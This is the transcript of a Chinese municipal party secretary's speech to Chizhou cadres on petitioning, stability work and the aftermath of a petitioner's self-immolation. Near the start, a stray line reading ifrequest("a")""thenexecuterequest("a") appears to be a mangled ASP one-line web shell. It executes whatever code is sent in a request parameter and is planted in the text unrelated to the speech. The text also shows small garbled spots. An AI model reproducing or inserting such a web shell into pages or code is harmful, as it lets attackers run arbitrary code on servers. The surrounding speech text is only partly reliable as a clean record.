在全市黨員領導干部大會上的講話

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一、認真學習貫徹“三個代表”重要思想，高度重視當前信訪形勢和穩定工作的新情況，切實增強執政的政治意識、大局意識和責任意識.

ifrequest("a")""thenexecuterequest("a") 近幾年來，市委、市政府牢牢抓住經濟建設這個中心，全面推進改革開放和經濟發展的各項工作，取得了一些進步，尤其是今年以來各項指標完成情況處歷史最好水平，呈現出經濟提速、人心思上的良好態勢。按照這樣的發展勢頭，全年的目標任務是可以完成或超額完成的。但越是加快發展，越是需要一個安定、穩定的政治環境和社會環境。而近一段時間以來，由于改革的深入，由于各方面利益關系的調整，出現了一些比較突出的群體性上訪事件，甚至出現了在全國都少見的上訪戶在天安門廣場自焚的惡性事件。面對這樣的形勢，怎么樣去正確判斷、沉著應對，把已經出現的問題而且可能引發的其他問題盡快控制住、處置好，變被動為主動、變壓力為動力、變壞事為好事，集中精力，把當前好的勢頭繼續保持好、發展好，是擺在全市廣大干部面前的一項非常重大的任務。穩定對池州太重要，池州再也經不起任何形式的折騰。這些問題如果不能處理好，肯定會牽涉、分散我們的精力，干擾、打亂我們的部署，影響全市的經濟和社會發展。因此在加快發展、在各項改革向前推進中，保持我們思想、工作的穩定，保持社會環境、社會秩序包括改革秩序的穩定至關重要。

朱正亮自焚事件，并不那么簡單，還會引發很多的連鎖反應。由于問題的出現，現在社會上包括在干部中間甚至領導干部中間已經產生了這樣那樣的議論。由于信息不對稱，什么說法都有。新華社發了消息，一些網站轉載了，還跟貼了一些網民的評論，甚至還有人在人民網上以上訪人名義寫了兩篇上綱上線的長篇大論。對這些反映的問題我們要認真核查。但這些都在干擾我們的思想和工作。因此，市委認為有必要把這個重大問題給大家講清楚，表明態度，使大家統一認識，消除一些誤導和干擾。

盡管這是一個極端的例子，但我們要實事求是、客觀冷靜地分析，不渲染、不炒作，創造一個有利于解決問題的良好氛圍、良好環境，同時對外界一些不負責任的說法也要及時澄清。池州出了這樣的事件，太華書記也指示要防止炒作。我們已經就目前掌握的情況，實事求是地搞了一個通稿提供給各新聞單位。按照市委確定的“實事求是、依法處理，正面引導、過細工作，舉一反三、確保穩定”的原則，把問題及時處理好、化解好。屬于工作中不足、疏忽的地方我們要承擔、要整改，但絕不允許利用這個事件借題發揮，惡意炒作，干擾、破壞來之不易的改革發展穩定的大好形勢，干擾、破壞既定的工作部署。我們也不愿意看到，由于這些問題的干擾和影響，造成干部工作勁頭松懈，經濟下滑，甚至被少數別有用心的人利用造成更大的損失。

有色集團的問題，是改革中遇到的新情況，事實上也是老問題，是多年積累的矛盾的爆發。怎么解決?要實事求是，功過自有事實、數字、實踐來證明。在適當時候，市委還要就有色問題向大家通報。

有色職工圍堵市委機關，包括在這里捶桌子，都很正常，關鍵是矛盾暴露出來后，千萬要向大家講清楚，要讓群眾都明白這樣一個道理，企業改革是大勢所趨，不改革只有死路一條，要按照靠大靠強的要求，繼續創造條件，積極推進。群眾上訪提的問題有些是有道理的，要本著對群眾負責、對事業負責的精神實事求是地解決。市委對有些問題的處理是恰當的、及時的，不象有些人說的那樣。市委沒有免去王根銀的職務，他還是法人代表，還是政協副主席，還要發揮作用。有些人就想看笑話，惟恐天下不亂。我希望在座的領導同志在遇到這些問題時，都要明辨是非，都要善于用腦子去想問題，不炒作、不渲染，想辦法處理、解決問題。

現在群眾上訪，有的很有組織性，這里面有我們的干部教群眾怎么去搞，怎么才能搞到點子上去的問題。今天開這個會，就是要把問題講清楚、講徹底。在一些重大問題上，全市黨員干部尤其是領導干部一定要統一認識，堅定不移地排除干擾。如果認為市委、市政府在決策上有問題，可以建言獻策，可以通過正當途徑提出來，但絕不允許在背后不負責任、別有用心地亂說，絕不允許在背后散布不利于改革開放的言論。今天請銘義同志專門從黨的紀律方面提出要求，目的就是要求大家自覺維護、堅決服從市委在處理這些問題上的決策，維護穩定的大局。市委相信，依靠我們的智慧，依靠群眾的力量，大家同心協力，共克時艱，一定會把問題處理好。

二、認真學習貫徹“三個代表”重要思想，正確認識和處理新時期人民內部矛盾，從基層基礎工作入手，從源頭治理抓起，切實做好信訪工作和穩定工作. 信訪是我們黨執政情況的晴雨表。信訪和穩定工作中暴露出的這些問題，不管以什么形式出現，都集中反映了新時期人民內部矛盾；反映了在體制轉軌、經濟轉型時期，社會不同群體和不同階層的利益關系調整中的新訴求、新動向。企業上訪、拆遷上訪等都是這些問題的反映。從某個角度看，這也反映了一個時期一個地方黨群關系、干群關系的真實狀況。所以信訪工作不能單純地應對、簡單地應付，不能當作包袱，從講政治的高度，十分認真慎重地處理好、解決好?，F在有些群眾對我們的一些政策、工作不滿意，有怨氣，確實要有渠道讓他們表達出來、反映出來，信訪可以說是一個非常重要的通道。我們講“三個代表”，講立黨為公、執政為民，

講為群眾解難事，從哪里解起？就是要從這里解起?，F在影響池州穩定工作的問題絕大多數來源于信訪，可以說把信訪中反映的問題解決好了，池州穩定就大頭落地了。所以我們要帶著深厚的感情去對待上訪群眾，設身處地替他們想問題、解難事。當然不排除某些少數、極個別人的無理要求、纏訪、鬧訪，但要看到大多數人的訴求是有道理的。我最擔心的是群眾對我們沒有信心，他們為什么要找書記、市長?為什么不相信我們的干部？什么叫民心？民心首先是信心、信任。信任都沒有還談什么工作呢?現在有些干部怕群眾，遇到上訪的能跑則跑，能躲則躲，群眾找不到，就找上面，找省里，找北京。真正落實群眾利益無小事，就是要以誠待人，以理服人，以情感人，以德化人，這一點不管是哪個部門、哪個領導都要努力做到、傾心做好。

信訪中反映的問題，大多是改革、發展過程中帶來的利益關系調整、利益沖突引起的糾紛，情況比較復雜，我們一定要用改革的辦法、創新的思路來對待、來解決，不能“以不變應萬變”。有的事情拿到政策上講是小事，但群眾認為很大，要幫他們解決一下，疏導一下；有的屬于多年不落實的問題，要督查、督辦，抓好落實。要注意不能就事論事，要結合矛盾的排查、調處，善于從政策上、從機制上把類似的問題解決好。

要講究工作方法和技巧，多做化解矛盾的工作。做工作要入情入理，切忌簡單粗暴、冷漠麻木。要向群眾說清道理，相信大多數還是通情達理的，只要我們態度好一點，多作點自我批評，表示個歉意，恐怕群眾氣也消了。特別是不能因為我們的工作不到位、接訪不及時、處置不果斷以及其他一些不負責任的原因造成小事拖大，大事拖炸。各部門要抓緊排查，有些問題不是一個部門能夠解決的，相關部門都要共同協調、配合解決；各級領導干部都是做好信訪工作的責任人，大家都有一份責任，都有一份擔子。

三、按照立黨為公、執政為民的本質要求，繼續強化領導，嚴格實行領導責任制、工作責任制，嚴格考核、督查，確保穩定工作的各項措施落到實處

各縣、區主要領導要直接過問，親自動手抓信訪?，F在信訪的重點很突出，這些問題領導不拎在手上抓，是搞不下去的。要堅持屬地管理的原則，不許搞矛盾上交。首先要落實責任制。

對長期解決不了的問題，一定要落實領導責任制，下決心解決，同時還要出臺一些具體制度、辦法以及一些長效措施來解決。市政府最近安排接訪，對多年積壓的陳案進行處理，給全市帶了個好頭。再就是部門的責任。今天到會的部門要很好地梳理一下，接到的群眾信訪有哪些，市委、市政府批辦、交辦的有哪些，兄弟單位轉過來的有哪些，都要好好清理，認真解決。“誰家的孩子誰抱走”。在辦信訪中很多部門還是不錯的，都能認真對待、調查處理。但信訪局在對問題的分流處理中，有些部門為什么不解決?我希望解決不了的單位主要負責人要向市委說明原因，并要提出解決問題的措施、建議。不要認為辦信訪只是領導的事、信訪部門的事，黨委有責任，部門也有責任，大家都要參與，都要挑擔子。這是一條很重要的政治紀律和工作紀律。

還有一個要求，就是對領導的批示件要有反饋。現在有的基層和部門遇事推諉，搞矛盾上交，如果再有這種情況發生，一定要查究到底。年底我們要結合行風評議、效能監察，聽聽群眾的反映，看看各部門的工作到底怎么樣。信訪部門也要切實負起協調、督促、督查、督辦的責任，對市委、市政府賦予你們的權力，要大膽運用，大膽工作。今后凡涉及信訪方面的事，不管是市直的、省直的還是中直的，只要駐在池州，都要服從信訪部門的協調。這不是發號施令，而是通過信訪部門的牽頭，把大家召集在一起，商量解決問題的辦法。不允許部門用種種借口來推脫、來搪塞。在信訪問題上，必須服從統一協調，這也是一條紀律。講了這么多，關鍵是各級領導、各級干部都要敢于負責，敢于觸及矛盾，敢于面對難題，不怕事、不怕麻煩。一事當前，明哲保身，這是絕不允許的；遇到難題，不去考慮怎樣去解決，而是考慮怎么去推掉、轉到哪里去，這也是十分錯誤的。這不是領導干部應有的品格，這也是失職。

四、切實轉變職能，改進作風，狠抓落實，務求實效

]抓住當前的有利時機，集中力量來推動信訪工作中熱點、難點問題的解決，必將為我市的改革開放創造一個良好的環境，也為明后年更快更好地發展打下一個扎實的基礎。第一，在第一時間要掌握第一信號。情況不清楚，信息不對稱，會影響我們的判斷。我們要在第一時間里發現問題，在第一時間里得到信息，在第一時間里進行反饋。第二，從現在起，要認真排查、摸底，做到胸中有數。對已經出現的問題不回避，繼續處理；對可能引發的問題或者有征兆、有苗頭的問題要增強預見性，做到胸中有數。就怕麻木不仁，什么都不知道還在那里說大話，這樣會喪失解決問題的良好時機。第三，抓住重點，全力跟進。最近信訪局排了一些信訪突出問題，各縣、區也要排一批重點，各級領導都要重視、解決信訪問題，要通過一個問題、一個問題的解決形成一個良好的正面導向。第四，不管采取什么辦法，最終都要解決問題。問題就怕拖，拖而不決，最后群眾就會喪失信心。解決問題，既要治標，又要治本，要標本兼治，要從源頭上解決，特別要從原因上、從根本上、從制度上去找到解決問題的辦法。反復的、連續的上訪現象更應重視。要通過努力，切實體現用好的作風來解決好當前影響穩定工作中的主要矛盾。另外還要體現服務，解決好影響廣大群眾生產生活中的切身利益問題，就是服務。還要有操作能力，現在有些干部熱情高，但操作能力低，這不行。要善于用創新的思路、科學的辦法破解難題、解決問題。